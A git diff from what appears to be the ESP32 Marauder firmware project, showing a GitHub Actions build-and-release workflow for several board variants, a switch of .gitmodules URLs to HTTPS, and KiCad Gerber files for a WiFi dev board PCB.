uses: actions/checkout@v2
with:
repository: adafruit/Adafruit_NeoPixel
ref: master
ref: 1.10.7
path: CustomAdafruit_NeoPixel
- name: Install ArduinoJson
uses: actions/checkout@v2
with:
repository: bblanchon/ArduinoJson
ref: v6.18.2
path: CustomArduinoJson
- name: Install SwitchLib
uses: actions/checkout@v2
with:
@@ -77,9 +114,16 @@ jobs:
ref: main
path: CustomSwitchLib
- name: Search for SD lib in arduino-esp32 v2.0.4
run: |
find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
- name: Install LinkedList
uses: actions/checkout@v2
with:
repository: ivanseidel/LinkedList
ref: v1.3.3
path: CustomLinkedList
#- name: Search for SD lib in arduino-esp32 v2.0.4
# run: |
# find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
- name: Configure TFT_eSPI
run: |
@@ -87,22 +131,34 @@ jobs:
cp User_Setup_Select.h CustomTFT_eSPI/
cp User_Setup_marauder_mini.h CustomTFT_eSPI/
cp User_Setup_og_marauder.h CustomTFT_eSPI/
cp User_Setup_marauder_m5stickc.h CustomTFT_eSPI/
pwd
ls -la
ls -la CustomTFT_eSPI
- name: Install ESP32 Boards and Compile MarauderOTA
uses: ArminJo/arduino-test-compile@v3.2.0
with:
sketch-names: MarauderOTA.ino
arduino-board-fqbn: esp32:esp32:esp32s2
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.3/package_esp32_dev_index.json
#- name: Place 2.0.10 for use
# run: |
# mkdir -p /home/runner/.arduino15/packages/esp32/hardware/esp32/
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
# echo Whoever made me have to do this can fuck off
- name: Replace SD lib
run: |
rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
#- name: Replace arduino-esp32 v2.0.10 that was gloriously forced on us
# run: |
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
# echo Whoever made me have to do this can fuck off
#- name: Search for SD lib in arduino-esp32
# run: |
# find /home/runner/ -name "SD"
#- name: Replace SD lib
# run: |
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
- name: Modify platform.txt
run: |
@@ -119,7 +175,7 @@ jobs:
done
- name: Build Marauder for Flipper Zero WiFi Dev Board
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
@@ -129,8 +185,29 @@ jobs:
run: |
mv ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
- name: Configure SD Serial for Flipper Zero SD Serial
run: |
pwd
sed -i 's/^ \/\/#define WRITE_PACKETS_SERIAL/ #define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
- name: Build Marauder SD Serial for Flipper Zero WiFi Dev Board
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
extra-arduino-cli-args: "--warnings none"
- name: Rename Marauder Flipper SD Serial bin
run: |
mv ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
- name: Remove SD Serial
run: |
pwd
sed -i 's/^ #define WRITE_PACKETS_SERIAL/ \/\/#define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
- name: Build Marauder for Flipper Zero Multi Board
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=8M,PSRAM=enabled
@@ -152,9 +229,11 @@ jobs:
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for OG Marauder
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -174,9 +253,28 @@ jobs:
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
#- name: Build Marauder for v6 Marauder with arduino/compile-sketches
# uses: arduino/compile-sketches@v1
# with:
# sketch-paths: esp32_marauder/esp32_marauder.ino
# cli-compile-flags: |
# - --warnings="none"
# - --export-binaries
# fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
#- name: Show compiled arduino/compile-sketches v6 bin
# run: |
# find ~ -name "esp32_marauder.ino.bin"
#- name: Rename v6_2 Marauder bin
# run: |
# mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
- name: Build Marauder for v6 Marauder
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -196,9 +294,11 @@ jobs:
sed -i 's/^ \/\/#define MARAUDER_KIT/ #define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Kit
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -218,9 +318,11 @@ jobs:
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Mini
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -229,6 +331,77 @@ jobs:
- name: Rename Marauder Mini bin
run: |
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
- name: Configure TFT_eSPI and configs.h for ESP32 LDDB
run: |
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define ESP32_LDDB/ #define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for ESP32 LDDB
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
extra-arduino-cli-args: "--warnings none"
- name: Rename Marauder ESP32 LDDB bin
run: |
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
- name: Configure TFT_eSPI and configs.h for Marauder Dev Board Pro
run: |
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define MARAUDER_DEV_BOARD_PRO/ #define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Dev Board Pro
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
extra-arduino-cli-args: "--warnings none"
- name: Rename Marauder for Marauder Dev Board Pro
run: |
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
- name: Configure TFT_eSPI and configs.h for Marauder M5StickC
run: |
pwd
find /home/runner/ -name "*TFT_eSPI*"
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
sed -i 's/^\/\/#include <User_Setup_marauder_m5stickc.h>/#include <User_Setup_marauder_m5stickc.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define MARAUDER_M5STICKC/ #define MARAUDER_M5STICKC/' esp32_marauder/configs.h
- name: Build Marauder for Marauder M5StickC
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:m5stick-c:PartitionScheme=min_spiffs
extra-arduino-cli-args: "--warnings none"
- name: Rename Marauder M5StickC bin
run: |
mv ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
- name: Display finished bins
run: |
@@ -241,6 +414,13 @@ jobs:
path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
retention-days: 5
- name: 'Upload Flipper SD Serial Artifact'
uses: actions/upload-artifact@v3
with:
name: esp32_marauder.flipper_sd_serial.bin
path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
retention-days: 5
- name: 'Upload MultiboardS3 Artifact'
uses: actions/upload-artifact@v3
with:
@@ -262,6 +442,13 @@ jobs:
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
retention-days: 5
#- name: 'Upload v6_2 Artifact'
# uses: actions/upload-artifact@v3
# with:
# name: esp32_marauder.v6_2.bin
# path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
# retention-days: 5
- name: 'Upload Kit Artifact'
uses: actions/upload-artifact@v3
with:
@@ -276,6 +463,27 @@ jobs:
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
retention-days: 5
- name: 'Upload ESP32 LDDB Artifact'
uses: actions/upload-artifact@v3
with:
name: esp32_marauder.mini.bin
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
retention-days: 5
- name: 'Upload Marauder Dev Board Pro Artifact'
uses: actions/upload-artifact@v3
with:
name: esp32_marauder.marauder_dev_board_pro.bin
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
retention-days: 5
- name: 'Upload Marauder M5StickC Plus Artifact'
uses: actions/upload-artifact@v3
with:
name: esp32_marauder.m5stickc_plus.bin
path: ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
retention-days: 5
- name: Create Release
id: create_release
uses: actions/create-release@v1
@@ -286,6 +494,7 @@ jobs:
release_name: Release ${{ github.ref }}
draft: true
prerelease: false
if: github.event_name != 'pull_request'
- name: Upload Flipper Asset
id: upload-flipper-release-asset
@@ -297,17 +506,31 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
asset_name: esp32_marauder.flipper.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Flipper SD Serial Asset
id: upload-flipper-sd-serial-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
asset_name: esp32_marauder.flipper_sd_serial.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload MultiboardS3 Asset
id: upload-mutliboardS3-release-asset
id: upload-multiboardS3-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s3/esp32_marauder.multiboardS3.bin
asset_name: esp32_marauder.mutliboardS3.bin
asset_name: esp32_marauder.multiboardS3.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload OG Asset
id: upload-og-release-asset
@@ -319,6 +542,7 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.og.bin
asset_name: esp32_marauder.og.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload v6 Asset
id: upload-v6-release-asset
@@ -330,6 +554,19 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
asset_name: esp32_marauder.v6.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
#- name: Upload v6_2 Asset
# id: upload-v6-2-release-asset
# uses: actions/upload-release-asset@v1
# env:
# GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# with:
# upload_url: ${{ steps.create_release.outputs.upload_url }}
# asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
# asset_name: esp32_marauder.v6_2.bin
# asset_content_type: application/bin
# if: github.event_name != 'pull_request'
- name: Upload Kit Asset
id: upload-kit-release-asset
@@ -341,6 +578,7 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.kit.bin
asset_name: esp32_marauder.kit.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Mini Asset
id: upload-mini-release-asset
@@ -352,3 +590,40 @@ jobs:
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
asset_name: esp32_marauder.mini.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload ESP32 LDDB Asset
id: upload-esp32-lddb-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
asset_name: esp32_marauder.esp32_lddb.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Marauder Dev Board Pro Asset
id: upload-marauder-dev-board-pro-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
asset_name: esp32_marauder.marauder_dev_board_pro.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Marauder M5StickC Plus Asset
id: upload-m5stickc-plus-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
asset_name: esp32_marauder.m5stickc_plus.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'

2
.gitignore vendored
View File

@@ -1,3 +1,5 @@
.vscode/arduino.json
.vscode/c_cpp_properties.json
.vscode/settings.json
esp32_marauder/.vscode/settings.json

16
.gitmodules vendored
View File

@@ -1,24 +1,24 @@
[submodule "esp32_marauder/libraries/lv_arduino"]
path = esp32_marauder/libraries/lv_arduino
url = git@github.com:lvgl/lv_arduino.git
url = https://github.com/lvgl/lv_arduino.git
[submodule "esp32_marauder/libraries/LinkedList"]
path = esp32_marauder/libraries/LinkedList
url = git@github.com:ivanseidel/LinkedList.git
url = https://github.com/ivanseidel/LinkedList.git
[submodule "esp32_marauder/libraries/TFT_eSPI"]
path = esp32_marauder/libraries/TFT_eSPI
url = git@github.com:justcallmekoko/TFT_eSPI.git
url = https://github.com/justcallmekoko/TFT_eSPI.git
[submodule "esp32_marauder/libraries/JPEGDecoder"]
path = esp32_marauder/libraries/JPEGDecoder
url = git@github.com:Bodmer/JPEGDecoder.git
url = https://github.com/Bodmer/JPEGDecoder.git
[submodule "esp32_marauder/libraries/NimBLE-Arduino"]
path = esp32_marauder/libraries/NimBLE-Arduino
url = git@github.com:h2zero/NimBLE-Arduino.git
url = https://github.com/h2zero/NimBLE-Arduino.git
[submodule "esp32_marauder/libraries/Adafruit_NeoPixel"]
path = esp32_marauder/libraries/Adafruit_NeoPixel
url = git@github.com:adafruit/Adafruit_NeoPixel.git
url = https://github.com/adafruit/Adafruit_NeoPixel.git
[submodule "esp32_marauder/libraries/ArduinoJson"]
path = esp32_marauder/libraries/ArduinoJson
url = git@github.com:bblanchon/ArduinoJson.git
url = https://github.com/bblanchon/ArduinoJson.git
[submodule "esp32_marauder/libraries/SwitchLib"]
path = esp32_marauder/libraries/SwitchLib
url = git@github.com:justcallmekoko/SwitchLib.git
url = https://github.com/justcallmekoko/SwitchLib.git

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,76 @@
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
%TF.SameCoordinates,Original*%
%TF.FileFunction,Soldermask,Bot*%
%TF.FilePolarity,Negative*%
%FSLAX46Y46*%
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
%MOMM*%
%LPD*%
G01*
G04 APERTURE LIST*
%ADD10C,1.700000*%
%ADD11O,1.700000X1.700000*%
%ADD12C,2.200000*%
%ADD13R,0.960000X5.440000*%
G04 APERTURE END LIST*
D10*
%TO.C,J4*%
X129370000Y-109940000D03*
D11*
X131910000Y-109940000D03*
X134450000Y-109940000D03*
X136990000Y-109940000D03*
X139530000Y-109940000D03*
X142070000Y-109940000D03*
X144610000Y-109940000D03*
X147150000Y-109940000D03*
X149690000Y-109940000D03*
X152230000Y-109940000D03*
X154770000Y-109940000D03*
%TD*%
D12*
%TO.C,*%
X187100000Y-99900000D03*
%TD*%
D10*
%TO.C,J5*%
X129370000Y-89840000D03*
D11*
X131910000Y-89840000D03*
X134450000Y-89840000D03*
X136990000Y-89840000D03*
X139530000Y-89840000D03*
X142070000Y-89840000D03*
X144610000Y-89840000D03*
X147150000Y-89840000D03*
X149690000Y-89840000D03*
X152230000Y-89840000D03*
X154770000Y-89840000D03*
%TD*%
D13*
%TO.C,J3*%
X153970000Y-103140000D03*
X156510000Y-101060000D03*
X159050000Y-103140000D03*
X161590000Y-101060000D03*
X164130000Y-103140000D03*
X166670000Y-101060000D03*
X169210000Y-103140000D03*
X171750000Y-101060000D03*
X174290000Y-103140000D03*
X176830000Y-101060000D03*
%TD*%
%TO.C,J2*%
X118410000Y-103140000D03*
X120950000Y-101060000D03*
X123490000Y-103140000D03*
X126030000Y-101060000D03*
X128570000Y-103140000D03*
X131110000Y-101060000D03*
X133650000Y-103140000D03*
X136190000Y-101060000D03*
%TD*%
M02*

View File

@@ -0,0 +1,39 @@
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
%TF.SameCoordinates,Original*%
%TF.FileFunction,Paste,Bot*%
%TF.FilePolarity,Positive*%
%FSLAX46Y46*%
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
%MOMM*%
%LPD*%
G01*
G04 APERTURE LIST*
%ADD10R,0.960000X5.440000*%
G04 APERTURE END LIST*
D10*
%TO.C,J3*%
X153970000Y-103140000D03*
X156510000Y-101060000D03*
X159050000Y-103140000D03*
X161590000Y-101060000D03*
X164130000Y-103140000D03*
X166670000Y-101060000D03*
X169210000Y-103140000D03*
X171750000Y-101060000D03*
X174290000Y-103140000D03*
X176830000Y-101060000D03*
%TD*%
%TO.C,J2*%
X118410000Y-103140000D03*
X120950000Y-101060000D03*
X123490000Y-103140000D03*
X126030000Y-101060000D03*
X128570000Y-103140000D03*
X131110000Y-101060000D03*
X133650000Y-103140000D03*
X136190000Y-101060000D03*
%TD*%
M02*

View File

@@ -0,0 +1,647 @@
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
%TF.SameCoordinates,Original*%
%TF.FileFunction,Legend,Bot*%
%TF.FilePolarity,Positive*%
%FSLAX46Y46*%
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
%MOMM*%
%LPD*%
G01*
G04 APERTURE LIST*
%ADD10C,0.100000*%
%ADD11C,0.200000*%
G04 APERTURE END LIST*
D10*
X183027857Y-91754857D02*
X183294523Y-91754857D01*
X183294523Y-92173904D02*
X183294523Y-91373904D01*
X182913571Y-91373904D01*
X182494523Y-92173904D02*
X182570714Y-92135809D01*
X182608809Y-92059619D01*
X182608809Y-91373904D01*
X182189761Y-92173904D02*
X182189761Y-91640571D01*
X182189761Y-91373904D02*
X182227857Y-91412000D01*
X182189761Y-91450095D01*
X182151666Y-91412000D01*
X182189761Y-91373904D01*
X182189761Y-91450095D01*
X181808809Y-91640571D02*
X181808809Y-92440571D01*
X181808809Y-91678666D02*
X181732619Y-91640571D01*
X181580238Y-91640571D01*
X181504047Y-91678666D01*
X181465952Y-91716761D01*
X181427857Y-91792952D01*
X181427857Y-92021523D01*
X181465952Y-92097714D01*
X181504047Y-92135809D01*
X181580238Y-92173904D01*
X181732619Y-92173904D01*
X181808809Y-92135809D01*
X181085000Y-91640571D02*
X181085000Y-92440571D01*
X181085000Y-91678666D02*
X181008809Y-91640571D01*
X180856428Y-91640571D01*
X180780238Y-91678666D01*
X180742142Y-91716761D01*
X180704047Y-91792952D01*
X180704047Y-92021523D01*
X180742142Y-92097714D01*
X180780238Y-92135809D01*
X180856428Y-92173904D01*
X181008809Y-92173904D01*
X181085000Y-92135809D01*
X180056428Y-92135809D02*
X180132619Y-92173904D01*
X180285000Y-92173904D01*
X180361190Y-92135809D01*
X180399285Y-92059619D01*
X180399285Y-91754857D01*
X180361190Y-91678666D01*
X180285000Y-91640571D01*
X180132619Y-91640571D01*
X180056428Y-91678666D01*
X180018333Y-91754857D01*
X180018333Y-91831047D01*
X180399285Y-91907238D01*
X179675476Y-92173904D02*
X179675476Y-91640571D01*
X179675476Y-91792952D02*
X179637380Y-91716761D01*
X179599285Y-91678666D01*
X179523095Y-91640571D01*
X179446904Y-91640571D01*
X178646904Y-91373904D02*
X178113571Y-91373904D01*
X178646904Y-92173904D01*
X178113571Y-92173904D01*
X177504047Y-92135809D02*
X177580238Y-92173904D01*
X177732619Y-92173904D01*
X177808809Y-92135809D01*
X177846904Y-92059619D01*
X177846904Y-91754857D01*
X177808809Y-91678666D01*
X177732619Y-91640571D01*
X177580238Y-91640571D01*
X177504047Y-91678666D01*
X177465952Y-91754857D01*
X177465952Y-91831047D01*
X177846904Y-91907238D01*
X177123095Y-92173904D02*
X177123095Y-91640571D01*
X177123095Y-91792952D02*
X177085000Y-91716761D01*
X177046904Y-91678666D01*
X176970714Y-91640571D01*
X176894523Y-91640571D01*
X176513571Y-92173904D02*
X176589761Y-92135809D01*
X176627857Y-92097714D01*
X176665952Y-92021523D01*
X176665952Y-91792952D01*
X176627857Y-91716761D01*
X176589761Y-91678666D01*
X176513571Y-91640571D01*
X176399285Y-91640571D01*
X176323095Y-91678666D01*
X176285000Y-91716761D01*
X176246904Y-91792952D01*
X176246904Y-92021523D01*
X176285000Y-92097714D01*
X176323095Y-92135809D01*
X176399285Y-92173904D01*
X176513571Y-92173904D01*
X175370714Y-91373904D02*
X175180238Y-92173904D01*
X175027857Y-91602476D01*
X174875476Y-92173904D01*
X174685000Y-91373904D01*
X174380238Y-92173904D02*
X174380238Y-91640571D01*
X174380238Y-91373904D02*
X174418333Y-91412000D01*
X174380238Y-91450095D01*
X174342142Y-91412000D01*
X174380238Y-91373904D01*
X174380238Y-91450095D01*
X173732619Y-91754857D02*
X173999285Y-91754857D01*
X173999285Y-92173904D02*
X173999285Y-91373904D01*
X173618333Y-91373904D01*
X173313571Y-92173904D02*
X173313571Y-91640571D01*
X173313571Y-91373904D02*
X173351666Y-91412000D01*
X173313571Y-91450095D01*
X173275476Y-91412000D01*
X173313571Y-91373904D01*
X173313571Y-91450095D01*
